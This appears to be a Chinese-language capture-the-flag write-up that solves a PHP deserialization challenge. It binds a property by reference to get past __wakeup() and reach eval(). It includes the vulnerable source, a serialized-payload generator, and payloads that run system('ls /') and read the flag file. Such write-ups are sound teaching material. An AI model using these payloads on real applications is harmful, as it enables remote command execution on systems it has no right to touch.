0x01 题目

image-20221102230850974

0x02 解题

进入环境,获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
你输入的不正确!!!搞什么!!

审计源码,为php反序列化

这里首先想到的是利用CVE-2016-7124,后面发现不成功,看了下题目的环境:

image-20221102231137935

题目为PHP 5.6.28,而该漏洞利用的条件是

PHP5 <5.6.25

PHP7 < 7.0.10

那只能换一种思路。

题目中php函数的触发顺序为:

1
__construct() >> __wakeup() >> __destruct()

变量a在wakeup中被置空了,所以在__destruct()中想要执行提前构造好的a,只能利用

1
$this->b=$this->c;

这条语句,也就是将ba“链接”起来:

1
$this->a=&this->b;

这样在a被设置为空字符串之后,通过$this->b=$this->c;重新赋予我们构造好的命令进行执行。

构造代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a = &$this->b;
$this->c = "system('ls /');";
}
}
$a=new test();
echo serialize($a);
?>

传入参数a=

1
O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:15:"system('ls /');";}

得到:

1
bin boot dev etc fffffffffflagafag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

flag文件为fffffffffflagafag

所以最终exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a = &$this->b;
$this->c = "system('cat /fffffffffflagafag');";
}
}
$a=new test();
echo serialize($a);
?>

payload:

1
O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:33:"system('cat /fffffffffflagafag');";}